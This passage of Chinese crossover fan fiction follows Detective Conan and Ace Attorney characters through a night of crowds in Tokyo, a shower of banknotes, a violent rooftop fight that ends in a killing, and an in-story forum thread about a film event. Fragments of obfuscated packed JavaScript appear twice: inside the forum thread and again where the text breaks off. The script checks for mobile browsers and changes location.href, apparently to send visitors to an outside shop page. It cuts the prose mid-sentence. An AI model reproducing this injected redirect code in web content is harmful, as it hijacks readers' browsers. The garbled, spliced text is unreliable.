亚瑟被他呛得上不来气,说:“你少在这里凭空污人清白——人家最少谈过三任女朋友!要弯早弯了,轮得到你?你不能因为他在英国留过学就这么胡乱揣测人家。” “我不是那个意思!”汐华真理翻了个白眼,看起来相当无语,“你看不出来吗?他在撬墙角!他是不是要把我拉入伙啊???又是问我上司又是给队内通讯的。” 亚瑟满脸的一言难尽:“他为什么要撬你墙角?” “……我怎么知道。”汐华真理随口道,“说不定他想多了。不是我说,我都要下班了,他现在收简历算个什么事?唉懒得喷。……嚯这人是真多啊?” 检查局门口堵得路过的狗都得站起来走路。 而且这是建立在黑羽快斗飞一半把舟桥佑希放下,拐弯引走了一拨人的基础上。他也看得到舟桥佑希——这个世界上的另一个自己困难地在人群中穿梭。人潮如波涛来而又返,亿万的镜头今夜都向此举起,将一整座检察院大楼映照成彻头彻尾的金色。绚烂的巡礼与交织的金光如同火焰蚕食着夜空,今夜无人入眠。外头乱成这样,检查局里不可能不加看守,至少舟桥佑希这样穿着便服是肯定不成的,恐怕只允许检察官进去吧。 接到朗姆的电话的时候,拉娜唯算是早有预料。但是没想到这人水平这么烂,才撑了没有五分钟,语气特别不客气地冲拉娜唯摇人,摇得她直翻白眼。特么的这是求人该有的态度吗???这会她刚下飞机,耐着性子听朗姆说自己被怎么围堵,在哪一个片区,叫她快点来支援——与此同时拉娜唯正看着侍者在自己面前铺红毯。那红毯像血液,像红酒,像闪灵里奔涌的红色的河流,她闭上眼睛。 “……我已经好久没有用过思维宫殿了。”她笃定地说。朗姆在电话那边——他是个急性子,没有听清——问:“什么?”很长一段时间内拉娜唯都听过一个谣传,据说朗姆是个超忆症患者, “你被围堵了,跑出来不就是了。” “我堵得出不去!如果你现在闭上嘴然后开车过来撕开一个裂口那么……” “雪莉还在你身边?” “你要确认她的死活?” “我只要确认你不会让她拿上刀或者枪来杀人。” “谁会指望她……” “那就够了。” 拉娜唯后退一步。她伸出手,捂住脸,在一片黑暗中,她从未看的如此清晰——像她的母亲一样。她的母亲失明,但并不盲目。鲜红色的地毯不再是地毯,是血线。从天台的门下涌入,穿过楼梯,流到街上,沿着起伏不平的人行道径直向前,经过台阶下行,爬上路栏,绕过大街,左拐右拐,九十度转向——这里是检察院大楼面前,汐华真理费力地在众多人群中伸出手,揽住了舟桥佑希,两个孩子费力地,正在冲破人群。但血液不会被阻拦。这道血线紧贴墙根流入东京的地下河流——庆贺吧!这里不是涩谷:涩谷没有地下水利系统,下一天雨穿雨衣下两天雨穿潜水衣。也庆贺吧,这里不是巴黎,否则你会看见冉阿让和魅影相谈甚欢,而克里斯汀的尾巴会轻巧地拂过你的手背。 整个东京就在拉娜唯的面前展开。然而这不意味着她的思维宫殿就和江户川柯南此刻注视着的演播室的大屏一模一样——不,或许说是完全不同。对于江户川柯南来说,亿万个信号指挥灯像宇宙中的天体般按照自己的规则定律运行,自顾自地亮灭。他把手指贴在发烫的电子屏幕上,沿着城市的道路追溯着车流;他计划一条路径,要做的是判断什么时候走上这条道路;这不是观星时节,江户川柯南却是观星者。而拉娜唯的脑海中,一切截然不同。此时的她不是她,而是东京地底仅仅依托她头脑存在的红色河流,在每一个路口执行一次是否判断,贪心算法自然会帮她找到最优的路径。当第一条鱼跃上陆地时,它也不知道自己最后要进化成人类。她的脑神经元像触角一样,捉住这片大地—— “给我钱。” 拉娜唯拖长声音。与此同时,江户川柯南终于发现了他的目标,对着侦探徽章大喊:“赤井先生!我看到了!” 朗姆听起来很恼怒。但他还耐着性子:“钱,我之后会给你。难道我看起来是会赖账的人吗?” “不不不。我要现钱。”拉娜唯说,“现金。纸币。” 朗姆显然很生气:“这都什么时候了!你最好已经在赶来的路上……” “没有纸币就纸钱。”拉娜唯毫不客气地打断他的话,“留着给你自己过头七。”她笑笑,心说汐华真理那里的队内语音都听见江户川柯南锁定你位置了,怎么你觉得你自己飙得过赤井秀一?快点吧。东京也没多大。 电话那边好像下了很大的决心。朗姆咬牙切齿:“……行!多少?” 与此同时,赤井秀一也在通讯中简明扼要地问:“在哪里?” “送到检查局街对面,那个在黑夜中还在亮着航空指示灯的楼楼顶。……给我十亿。” “!!!——十亿!”朗姆不可置信,“到了现在还从哪里给你找十亿——” “——再说美金。”拉娜唯一转话头,给朗姆报了几串数字:全都是车牌号。追他追的最近的车牌号。朗姆或许因此变得可以说服自己,波士力娇已经来到了自己附近;所以她知道是谁在追自己。他没有想过这是拉娜唯的思维宫殿,不能想象人的思维的触角竟然伸展至此。他变得可以说服自己了,于是耐着性子,最后确认:“什么时候?” 光线在略微延迟的大屏上流转。江户川柯南实时同步着市民的行动轨迹:“东南方向的红绿灯即将转红,他们在右拐——或真敷剧团的花车队伍快要到了!他们的游行计划中,如果摇停滞在这里的话,大概会演出近二十分钟。” 赤井秀一捕捉到他话中的未尽之意:“也就是说,要么是二十分钟后……” “要么就是现在。” 拉娜唯说。 朗姆依旧牢骚满腹。他说:“——现在,你说的轻巧;最晚呢?” “你死之前。” 她觉得自己等了好久,但说到底也就是三秒四秒——朗姆问: “还有别的什么要注意的?” 赤井秀一问。这座花团锦簇的城墙和它带来的声浪正以可观的速度到来,他要选择一个最好的时间冲出去,就像是风暴中寻找暴风眼。 “左拐后的第三个红绿灯。那是最好/最后的机会。” 拉娜唯挂断电话,转身对身边人随口说下去:“转告一柳会长,我会晚些下去——不过不会耽误很久的。” [主题]泥砖菜盘——仓院驻米花市律师事务所 [偶尔一水楼]有人注意的角落,OVA发标题了 1# 如题。 [截图] 《死んだ月は生者を産む》(2024) 导演:Edogawa Arthur/Aleta Eilander 编剧:Ayasato Miles 主演: Takayama Minami/Yamazaki wakana/Hayashibara Megumi/Yamaguchi Kappei/更多 类型:推理/悬疑/喜剧/爱情 制片国家/地区:Japan、Holland 片长:150分钟 又名:死月载生/The Dark Side of the Moon /月之暗面/何如昨日 未上映,评分暂时不予开放 想看/看过/评分 我看看给了多少张票。 ……?????啊???两天开了五万张票??? 2# ???? 那个影城被包了? 3# 咱们死小有自己的环球影城。 不是官方这真是认真的?开五万张票,怎么着原地开cp是吧,舅舅党呢,快马加编啊 4# 舅舅全都被正月剃头了。之前不是有个up受邀去观影现场探班,录了个vlog,发出来五分钟狼狈下架,说是拍着没公布的区域了。但是五分钟时间也很长了,该缓存的早缓存,没来得及缓存的人也网盘见面了 5# 所以说都录着啥了? 6# ……我有点担心我的号子。等我披个马甲,去去就来 7# 爱信等。 8# 所以求个网盘。有人保存了吗呜呜! 9# 我回来啦! 新号子炸掉了就炸掉吧无所谓。 那个说环球影城的,算你说对了一半吧。这次官方确实安排活动了,前几天冒出来的那个主催已经被官方招安,现在投入了苦逼的工作中。她现在整天在我的列表只有两种状态,幻想一年七位数的开头到底是几,以及在工位上无声尖叫( 他们确实修了园区。但是这个园区并不是说看完电影以后玩,而是……说是一边看一边玩? 10# 剧本杀?还是密室逃脱? 11# 都有吧。因为确实有跑来跑去的环节,中间还能顺便打一把真人泥砖菜盘(已经问卡婊要过授权了)……总而言之,当解密的进度推进到百分之多少,就会自动解锁剧情。看来是上次观影活动,樱花妹近水楼台见的是cv,熊猫妹和官C合照,结果CV塌房得到的教训——这次活动请的NPC全都是著名的coser,出来推剧情,演一段,播一段动画。这就是活动的大致流程了。当然,小礼物什么的,惩罚游戏也不会少。提前问一句,有人不能挨电击吗或者有光敏性癫痫的吗? 如果有精神方面疾病的那我们建议在另外一个区域活动,尽量少在解密区活动。因为,据说啊,据说,解密挺难的,要库库死,活来死去的那种。死一次电一下。 相较下来旁边观赏区就挺舒服的,官周啊酒吧啊下午茶什么的都有,相当适合打卡。不过毕竟没有参与游戏流程,所以无论解谜区开出什么剧情,观赏区都只能看转播。 12# …… 卧槽真开成cp31了? 13# 啊那要是这样的话——那影片详情里的150分钟是什么意思啊,是纯影片含量就150分钟还是算上游玩流程了??? 14# 纯影片含量就150分钟的话那整个游玩过程得五小时起步吧???我靠我本来还寻思出个贝姐或者阿莱塔的,现在服气了,换跑鞋速干衣 15# 退一万步说,我不能开共享电动车进去吗 16# 所以那个园区有多大啊。 17# …… 哥们那你算是问到点了。接下来我发的东西百分百炸号,炸就炸吧无所谓了。 据说啊,据说,据说是拖了一条废船上岸。 18# ? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337928|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大袜子你说的是中文吗 19# 大受震撼速速检索一番,重制版上一次上船还是在……上一次( 不是废话文学,就是上一次院线。你作剧场版出现过联动吗???就是这一部剧场版和上一部有联系的那种? 20# 没出现过现在不也出现了。 接下来我要讲一点我知道的游戏流程了,大伙准备好截图保存吧。 说是大伙一开始,很正常啊,就是拿着自己的东西进去,过安检刷身份证,带大件行李的去寄存,小件的不妨碍活动就自己抓在手里没问题。然后工作人员会引导你坐电梯去影厅,但是电梯“出了事故”,你懂吧!你懂!总之只能上顶楼。然后工作人员就会解释说没事他有钥匙,到顶楼了也可以开楼梯门走楼梯下去。就这样,等到你们到顶楼以后,会目睹一场枪击案。接着就是一群穿着作战服的人上来,蒙面配枪,把你们全赶下去。这一段算是代入环节,接下来整栋楼都会人去楼空,放任大伙探索。 拖上来的船也算活动地点之一,虽然我不知道他们几个场次是怎么做的衔接,反正模拟的当然是上一次剧场版,解密的就解密星野季沙相关案件,吃饭休闲的就在外面吃饭,周边当然也有摊位。反正这一切环节的最终目的只有两点,就是找出天台上的死者,以及杀死这个人的凶手是谁。 21# ……感觉……时间线乱乱的 22# 毕竟这次OVA的名字叫月之暗面嘛。“月之暗面并非月亮的阴暗面,而是心理的阴暗面”——这可是水爷的原话。这次活动的噱头就是江户川柯南从他亲身涉及、听过看过了解过的案件,推演出一个完全不同的未来。玩家则在他的逻辑中穿梭时间过去未来,推理演绎。 23# 或者看看TV的内容?兴许会有什么线索…… 检查局没必要硬闯。最重要的是强闯不进去,还麻烦,惊动了一柳万才会特别不好。一进门,汐华真理超级顺畅,把头发一拨,压了一下舟桥佑希,直接说我把人带来了。舟桥佑希会意(俩人根本就是同一个,能不会意吗),灵媒千奈美。千奈美见自己疯狂逃窜,却好像沦落到检查局,在汐华真理手下费力挣扎,毫无作用。看守的警卫不认得他的脸,也怪全城直播,偏偏检查局个个严正以待以至于没看上,只认识检察官的制服,还有千奈美的一张脸。总而言之,负责该事的人以为天上掉馅饼,押了少女往拘留所里面走。刚过了拐角,被一扫堂腿撂倒;天旋地转的视野里,只能看见她轻巧的背影。远去了。 有人带着鸭舌帽,推着箱子上来天台。黑暗中看不清他的脸,倒是能从对方卷起的袖子下看出一截结实的手臂,彰示着朗姆似乎没有弄虚作假。拉娜唯心想无所谓,他弄虚作假是他不把自己的命当命,不是我该在意的事。箱子的盖子打开,里面垒满了钱。新的,旧的,连号的,还带着温度的。拉娜唯把手塞进去。嗯,摸着还挺真的。 汐华真理艺高人胆大,大摇大摆把舟桥佑希送进检查局后甚至留在原地唠嗑,在片刻的沉默里听见江户川柯南有闲暇和自己搭话,问他在哪里,监控上找不到。他大大方方坦白,在检查局。赤井秀一适时提醒,说还是早点离开得好,他前些天在里面来去也不自如,明显感觉有些人难缠极了。那佑希怎么办嘛?她等会出不来就难搞了。 听见汐华真理这么说,侦探徽章的那边反应各异。他猜赤井秀一多半没什么反应,江户川柯南就不好说了,估计要思念一下他的小青梅。忽然之间检查局警铃大动,泥沼一样的空气忽然沸腾,引发的啸声几乎要把这个世界劈成两半;响到无论是徽章那边还是耳麦那边,三道音色不同的声音同时问他:“发生什么了?” 汐华真理没有直接回答。他只是故意地省略了主语,他的话对所有人说。 “我现在有一个机会。”他深吸一口气,心想补小黑鱼的时候觉得那个8848剧情太搞了,没想到现在轮到自己来,“零哥,赤井先生,还有柯南君。有机会的话你们要不坐下聊聊?” 大地蹒跚着离开太阳,点缀着电灯的城市显得更亮,人声又提高了一个音凋,笑声每时每刻都变得越来越容易,毫无节制地倾泻出来,只要一句笑话就会引起哄然大笑。人群的变化越来越快,忽而随着新来的客人而增大,忽而分散后又立即重新组合。一会儿在片刻的欢腾中成为一群人注意的中心,一会儿又得意洋洋在不断变化的灯光下穿过变幻不定的面孔、声音和色彩扬长而去。记者拼命挤啊,争啊,拍摄——谁也没能在自己过去的人生中看见过如此画面,在最危险也最紧急的底色之上,人们欢笑,人们歌唱,人们欢腾—— “那是,那是、那是——” 不知道第一声叫喊声来源于谁,只能看见越来越多的人手指向天空——涩泽荣一、津田梅子、北里柴三郎的肖像正从天而降,仿佛青绿色的蝴蝶,又好像从天而降如暴雨般倾泻全城……抬头去望,苍白如鸽。这是奇迹一般的夜晚,纸币从天而降。人群沸腾,或许这一切都是或真敷的戏法,是到了十二点就会消失的灰姑娘的水晶鞋与南瓜车,到了第二天黄金就会变成土尘——这不重要。什么都不能阻拦他们把这一切拿到手。人们,越来越多的人们,越来越来越来越来越多的人朝着同一个方向聚集,好像那里有一个黑洞。东京的黑洞,人头攒动。奇怪的是,汐华真理却觉得很安静,最先与他交谈的人是江户川柯南。这个孩子无声地笑了。他明白了一切:“所以你就是联络人?同时也是……” 检察院里依旧警报大作,不一会有警察抓着舟桥佑希出来,她还抱着昏迷的绫里春美。身旁的负责人冷汗涔涔,正欲上前,却见大厅玻璃感应大门自动打开,一众记者挤进来开拍;迎着雷鸣闪电般的相机和闪光,方才跑进来的年轻又陌生的检察官几步跑上来,外套一脱,露出里面的警服来,背对舟桥佑希面朝其他所有人大喊一声,掷地有声,非常响亮: “警察!谁敢动她!” 无数张照片定格了这一刻。上一个这样高调宣布身份的,大概还是钢铁侠。而年轻的黑色短发的女孩这才好像松了口气,揽着绫里春美,半倚半扶在对方背上,头搁在对方肩膀上。二人黑色的和白色的发丝交融,就好像他们同源而出一样。在光的背后,在阴影里,她得到了一个暂时的休息。不只是她,汐华真理还在微微地喘气。这点运动量对他而言实在不算什么,反应这么大,是心乱了。 一片寂静中,只有被风卷来的纸币,打着旋儿,从检查局的天井落下来。 拉娜唯睁开眼,知道这是自己为了吸引媒体,引开人流,对检查局施加压力后的权宜之计:即泼洒钱雨;然而闭上眼,却想起每年圣神降临节,复活节后五十天,罗马万神殿万千朵玫瑰花瓣飘然落下。世界的跨度非常大,历史非常长。人生苦短,做白日梦或许也不是什么大毛病。因为这个白日梦安慰了她自己,让自己有机会享有命运不曾宽容的时间。 如果有什么不幸的话。有什么厄运的话。 她直起身,仰起头;仿佛此时就身置万神殿,沐浴阳光与玫瑰;细看却表情痛苦,好像埃拉贾巴鲁斯的受害者,正要被万千玫瑰花雨窒息而死。身旁有人递上手机,她侧过耳去,听见似乎是朗姆说什么前面堵的人已经走干净,拉娜唯用剩的钱不必还他,留着。拉娜唯听完笑得前仰后合,把电话那头的朗姆笑得浑身发冷,莫名其妙;拉娜唯摆摆手让身边人挂断,我要这些钱做什么?我想要的,我想要的,我想要的不过—— 她先觉得肩膀上一冷。然后是声音。她迟钝地转头。 从对方的帽檐下看到一双蓝色的眼睛。眼睛的主人刚才用这双手为她提来箱子,拨通电话,现在也开一枪,击穿她的肩胛。但是做了这么多,竟然不能从他的眼睛里看出什么波动。他安静的样子仿佛他一辈子都会这么安静下去,像有人带走了他的声音;又仿佛他的生命中真有一段三缄其口的日子,以至于这种沉默像人死后的墓碑一般安静,内敛……温柔。可以永生永世地守望,这姿态承载太多太多。 拉娜唯的手哆嗦着把攥着的钱掉在地上,爬下去,感觉和服的腰带死死地勒着腹部,外衣则局限着迈步的范围;令她看起来像是斗兽场中被加满锁链与人搏斗的猛兽。血流了出来。她许久没有受伤,一时陌生。随后才记起来,到了这个处境该看的应该是对手才对——或者说,猎手。她抬头。风把对方的帽子掀掉了。 诸伏景光只是站在那里。伸出手,好像要抓住她,又好像要扶她。那是个陌生又熟悉的动作,发生的自然,本人却带着一副忽然意识到什么的表情把手背了起来。城市的光辉落在他的心口。他的眼睛——他看过这一切,翻涌的红,一地散乱的纸币,落在一旁的盖子……最后虚浮地落在拉娜唯的脸上。他在看什么?他的脸一片空白;他在回忆什么?空气变得浓厚,夜晚像裹尸布一般笼罩着每个人,令人透不过气。寂静带走了所有的温度,拉娜唯忽然心领神会,雪也是白色的,会一片片落下的。 诸伏景光还看着她。 就像她第一次看对方时的目光。 59.有点血腥的xdm 检查局内相当紧张,一圈儿人围着中间头毛一黑一白两个小孩,两个小孩死死贴在一起,用敌视的目光去看所有人,像盗猎者对着狼窝里的两条半大小狼,谋划怎么把它们揪出来杀掉不伤皮子收益最大。他们没能得到机会。不一会儿有辆车悍然闯进检查局内,车上下来一个蓝色短发女子,穿的得体,手里的鞭子挥得作响,看见四周自己的前同事,丝毫不惧:都让开!在她的威势下,另有两个年轻人下车来,直直冲着舟桥佑希去。原来是狩魔冥载了小泉红子和白马探过来救场,有她在这儿站着,暂时不敢有人上前;毕竟她的父亲已经入狱(还是成步堂送进去的),她就是唯一的狩魔。 舟桥佑希见状,手里的绫里春美往汐华真理怀里一塞,顺顺当当接下来。对她来说无外乎是左手倒右手,两个孩子年轻也没注意,狩魔冥看了,平淡地指出女孩子我来抱就好。她接下春美,在场这唯二的成年人老老实实站在边上,看三个高中生围在一起叽叽喳喳。白马探说他一直都关心着佑希那个案子的进度(当然他没有直说,很委婉,反正意思是这么个意思),看到后面法庭大乱就出来帮忙,没想到刚好坐了御剑检察官妹妹的车。狩魔冥远远地指正他:我不是什么御剑的妹妹,我是唯一的狩魔流。这位女检察官说完,轻轻瞥了一眼汐华真理,意有所指般问:你和那个女生到底是什么关系?黑头发那个? 她没有得到回答,于是抱着春美:我送她回去。说罢离开了。另一边白马探说他带他们回去,小泉红子却说和她去她准备的房间,她透过舟桥佑希的眼睛,直视的却是内里的灵魂:我找到了可以除去死去之人魂魄的办法。 舟桥佑希猛地抬头。她想起罗斯说的,令劳拉的身体中只剩自己的灵魂。如果实在没有办法把威廉赶出去,她并不介意直接抹除威廉的灵魂。白马探对于魔法侧没有感应,叹了口气说刚才在车上就听到了这个消息,也想好了,一会儿跟你们一起去,以免真的出什么事,不至于没人知道。小泉红子指着舟桥佑希说:他也要去吗? 舟桥佑希摇摇头。她一时间没有多余的精力管不同马甲的行为举止,很怕一起去之后出现叫这个应那个或干脆同步率齐高的灾难性现场。或者说,在灵媒千奈美后,她也将脱离对舟桥佑希的控制。 虽然很不适宜承认,但她实在无暇他顾。 拉娜唯站了起来。或许说没有受伤之前人总是顾虑重重,血真的流出来之后就只剩求生的本能——她直起身的同时已经完成了高速位移靠近了诸伏景光,左手攥住对方的手枪——她预防对方开枪的方法就是蛮力抓住套筒,诸伏景光在手指扣动扳机然而纹丝不动时就意识到这个女人的力量远远地超越了常人的水准,不浪费时间做第二次尝试,唯曲起手肘抵压他咽喉,他改热武器为钝器,手枪枪把抡在拉娜唯的背颈上,她仿佛毫无反应,像石头做的。但要是真被她结结实实压住脖子,那可不是轻描淡写的事。在诸伏景光感觉到自己快要被压在矮墙之前,他及时起腿,正蹬击腹。这足以让他们拉开距离。拉娜唯的力量的确可怕,但体重远远不匹配——这就是弱点。她蜷起身体在地上滚了一圈,算化解了冲击力,流畅地起身。 诸伏景光大概也意识到拉娜唯的体重量级会是突破口,在对方冲上来时虚虚过了两招——说虚其实有些不负责任,他都是照头打,拉娜唯也没挡,硬吃跟没事人一样,耐打的可怕,倒显得自己不出力一样——为的都是铺垫一个仰身顶膝,再次拉开一个刚好的距离,改变线踢。也许在这之前拉娜唯搏斗几乎不动策略,但不意味她蠢;眼看着又要重心不稳,她左手一掌直接拍到诸伏景光腿上。所谓一力破十会,诸伏景光只觉得好像有一辆摩托冲过来,强大的冲击力撞得他也不得不侧身泄力,拉娜唯立刻捉住这个空隙,一拳直冲对方暴露出的脖颈来——如果真的被打中的话,和被汽车碾断脖子也差不多吧。好在诸伏景光抬手得及时,屈臂抵住了冲击力。但他同时也意识到,仅仅依靠踢、踹,不再可用;第二次膝顶也被掌推化解。是的,推。他们的身体素质差距越来越大,就好像拉娜唯先前不过是热身。见势不妙,只能上摔技—— 他的手整个笼住拉娜唯的头颈时,没有余力思考,什么时候男性打女性都要用到地面技了——甚至于地面技都不够。一般人双脚离地免不了慌乱,拉娜唯却好像很习惯,甚至扳住他的手,在短暂的滞空里还踢中他的背,调整了身体姿态落地站起立马接抱摔。就好像诸伏景光提醒了她,她也可以把战场拉进地面。边打边学的大概只此一家。但是学还是学的差点;她绕身想做擒拿,但一时忘记体重问题,反而被抓住机会,背摔到地上。天旋地转之间好像只看见诸伏景光手握拳,不是冲着头,不是冲着心口,落点却是肩窝——这很奇怪,等到真挨了这一下,尖锐的刺痛从骨头的缝隙间蔓延开来。拉娜唯一瞬间痛的出了一身冷汗,依旧颤抖着抬头,冷笑——也许是嘲笑:“手刺。你他妈居然会用这种东西。” 出乎意料,即便这样大开大合地打了一顿,诸伏景光除了也出了汗,头发不免黏在脸上之外,表情居然不狰狞,皱着眉,不好说是厌恶还是慈悲。是的,我用了手刺。他在心底供认不讳:否则我摔你一千次一万次,你都爬的起来。打中你右肩,你右手还能卡住我的套筒;照着头打,你没有任何反应;一般人被背摔,早就昏过去;你不头昏,现在还有力气嘲讽我。我能怎么留手呢。城市的灯光照在他脸上,汗反射着微微的光。他就这样发力。拉娜唯直视他的眼睛,牙齿间像是咬着一股力:“我要杀了你。”诸伏景光心里毫不怀疑这话的真实性,心念一动,却说出一句自己都不知道为何而问的问题:“你早就想好了吗?从一开始?” 从他妈的哪个一开始?拉娜唯被问得没来由地迟疑,陡然间感到彻骨的寒冷。她忽然意识到自己还没有做好今夜和诸伏景光只有一个人可以活着从天台上下来的准备,手颤抖着去捏诸伏景光攥着手刺的那只手,无声地咬牙切齿:你要死能不能别死在我手里? 诸伏景光当然不回答她。 就在一条街之外的检查局的房间里,汐华真理锁上门,本来该陷入沉睡,却忽然意识到自己会看见那个屋顶,同时也好似一股天雷劈在额头上。我有一个机会。我有一个机会。他摸摸自己身上,我有什么?一只手机。一只耳麦。一只侦探徽章。我可以叫谁?唯的思维宫殿里当然留存着所有人的邮件地址。当然包括红方……还有黑方。 我有一个机会。 窗帘被风鼓起的影子扑簌簌落在他脸上。他听见耳麦里安室透相当敏锐,问他出了什么事。他这才意识到自己的呼吸声太重了。出于一种自己也害怕的心情,他说:“这里没什么问题。”并欲盖弥彰地直接关闭了耳麦。他慢慢地蜷起身体,左手握着手机,右手握着侦探徽章。一直以来,他总觉得有什么阻碍着自己和红方的这些人物,阻碍他得到心灵上的安宁。作为一个编剧,我无法背叛我的才华,不能抗拒戏剧里的死亡;但作为一个人,只要有一个瞬间我从“他”的手中接过了爱。我就永生永世,不能背叛“他”。 哪怕只有一瞬间我这么想,一瞬间就是永生永世;哪怕我在撒谎,谎言之中,依旧有一个永生永世。 他的手指颤了颤,还是决定放下手机。但眨了眨眼,简直以为是错觉般,视野里浮上黑框,黑框越来越宽,蔓延,世界的一切正离他远去—— 他看见“自己”把小小的徽章丢在了一边,手不受控地调整邮件发送窗,编辑,定位——不不,不,并不是那样的!当一切像保鲜膜一样覆盖在他脸上时,一种连他自己也不明白哪里来的力气——撕裂了这一切。发送键悬而未决卡在指尖,宛若核爆按钮。他得以大喘气,重返现世,呼吸着新鲜的空气。然而,依旧不能控制自己的四肢……汐华真理不用抬头。他知道面前站的是谁。他早该知道的。但当他费力看清这个人的面目之后,依旧不堪忍受般闭上干涩的眼睛。 亚瑟不再是小孩子了。也许这些意志不能随意更换性别,年龄却像滑动变阻器一样;长开的亚瑟不像是那个名侦探17岁的样子,甚至更不是他父亲优作的面容——他的脸就像莫里亚蒂教授该长成的样子一般,成年的男性,西装革履,慈善地蹲下来,不计前嫌地端着汐华真理出满冷汗的脸,像端起一只酒杯。教授先生的手指上带着淡淡的古龙水的香气,出口的话却不留情:“我正在代劳。我想。——我明白你在打什么算盘……因为你不舍得他们哪一个死。仅仅是这样,就已经不再舍得了。唯?你的计划中考虑过这一环吗?你有想过接下来该怎么办吗?你想过接下来的剧情应该如何铺垫吗?这就是你软弱的代价,而我正要纠正这一点。” 汐华真理低声笑了笑:“你是在质问我吗?在把我的准备捣成一团糟之后?我倒是已经明白你的想法了。你——你以为自己充满创意,才华横溢,天纵奇才。其实呢,迂腐陈旧,胆怯龌龊!你所做的一切不过是救下原作里死掉的人,让他们活,然后让他们死。然后一切又回到了原样。其实你毫无天分,毫无创造力,让我预测一下,今夜结束,你想要的局面无非是,和原作一模一样!原本活着的人继续活下去,本该死去的人也会死去。你太懦弱了,其实根本不敢砍断你的摇钱树。所以你说那一番话,让我产生改变立场的想法……一切是否正中你意?” 亚瑟摇摇头,大概觉得他十分顽固,甚至称得上一句耐着性子解释:“我认为我已足够心慈手软。我已经为这些必死之人创造了不存在的时间,不存在的世界,产生了本不该有的羁绊,多出的每一次相处,每一天,都是奢侈,是仁慈……更何况灵媒已经极大地削弱了死亡的残忍。” “你懂个屁。”汐华真理直接骂他,“如果灵媒就能模糊死生的界限,你猜泥砖菜盘出物的时候为什么要用小中大的脖子当封口贴?死亡哪里是能被一笔带过的轻巧的事?我不同你讲所谓人活着的体验因为你根本不明白,但慈善?这是慈善?什么时候令人死去活来变成了慈善?你根本不明白,我正要牺牲什么——我可以牺牲的……” “所以你是彻底不合作了。”亚瑟放开他的头,“需要我提醒这一切依然属于我吗。” “想要我的躯体就来拿,想夺走这个角色就直接上。装了半天最后急了,你不恶心吗。”汐华真理颤了一下,笑了起来,“——只要你有本事从我身上夺走我的意志的话。没本事就滚开,我他妈的要找侦探徽章。” 亚瑟回头看了他一眼。一瞬间——原来这是间档案室——所有的柜子全部打开,纷纷扬扬的卷宗案件纸片飞舞,像河流一般倾泻,尽数落在他的脊背上;无数的人间故事,喜剧悲剧,在同一刻发生;杀死人的好人,被刺死的坏人,被诱惑的无辜人,被报复的罪人;又哭又笑,死去活来。亚瑟的确不能直接干涉汐华真理的行动,无论如何,不问原因。他知道,或者说,她知道,自己正在夺取控制权,她已经呼吸过度了。 “汐华真理”已经彻底不再是人,也不再受掌控,只是她灵魂的延申;这些泛黄的纸张记述的人间奇事曾经煽动一个人一生中所能产生的最浓烈的情感体验。她不能分心,她愿意相信;徽章的反光如此之近!我的,属于自己的选择,我的意志……我不认为我捉不到它!她却浑然不知自己最早的救命稻草已经被甩在身后,在指示灯熄灭的耳麦里,寂灭地沉睡在卷宗中。不过这不算什么,我就要够到了,即便头晕眼花,即便呼吸过度,即便周遭的一切离我远去了——我还差一点。差一点,差一点! 他的眼前忽然只剩一片黑暗。 说实话,在那一枪开过以后,就算是诸伏景光也吓了一跳——诚然,一个人即使心脏中弹也还能存活十秒,可以十分短暂地说话,或者抵抗;如果要人即死,一定是瞄准鼻子。但他既然开枪,自己也知道自己毫无心软可言了。然而即便是拉娜唯的左侧胸膛炸开血色,她却仿佛二次呼吸一般,满是血的右手死死地卡住他的脖子,作为一个被打爆了心脏的人,她未免太有活力。他没有办法,只有手中的手刺,被他死死地抵进对方的身体,像定死一只即将被做成标本的鸟。粘稠的血液从伤口涌出,仿佛披上了一层草莓果酱。但她不肯咽气。这个女人的喘息声没有片刻停顿——他咬咬牙,手刺在对方身体里,费力地逆时针转过九十度,他听见了肌肉被搅碎的声音。这不能算他给了对方痛快,大概算是一处失误;除此以外,问心无愧。他感到自己的喉咙终于得到了解放,拉娜唯松开了手。 一瞬间,她不能操控自己的任何一具躯体了——连生下来就属于自己的这一副都不能了。虽然睁着眼睛,但什么都看不见。接着,杀死她的凶手帮她合上了眼睛。这位凶手本该把手刺也带走的,但拔不出去,大概是卡在骨头缝里了。但是话又说回来,人体在那里有骨头吗?他不知道。今夜没有落雪,没有降雨。只有纸币从天而降。 这一夜大概得算一场联合围剿。密闭的房间里到处都是血,美柳千奈美正要挥下最后一刀之前,忽然冷冰冰地,目光扫射过去:“还不肯用真面目示人吗。”到处都是血。小泉红子抹掉裙边的血渍,无所谓:“你非看不可吗?”手指绕着发丝,百无聊赖。余光瞥见美柳千奈美提着刀,朝着自己走来。她一皱眉,刚想说点什么,忽然听见楼下警车声音呼啸,心说不好,再一回头,美柳千奈美早就脱离了舟桥佑希的身体,房间中唯独剩下一个血人和另一个昏迷的少女。要施展法阵离开现场,就得先解除身上的易容法术。Doat露出脸来,对着此情此景不知作何感想,干脆也不做了。眼尖却看见舟桥佑希手指微微一动,心下大骇,无论是千奈美又上号还是舟桥佑希这么快找回来,都不好对付,于是再不留恋,逃走了。 一片黑暗里,先站起来的是舟桥佑希。要不了多久,这里会被人挤满,苍白的日光灯会让这里没有死角。中央空调依旧调剂出冷空气,她颤抖着去摸白马探的脉搏,还有。自己的手机被收走了,他的也是。于是她起身,跌跌撞撞,举步走进温热的气流。她在办公室里找到一部电话,叫了救护车。然后呢?我受到了欺骗。我一定,我一定……她感到悲痛欲绝,但是还不是时候,费力地把这悲痛压回喉咙,她奋力地扭动门把手。 东京忽然有一瞬的断电。乌黑的柏油路面褪去灯下惨白的外衣,楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 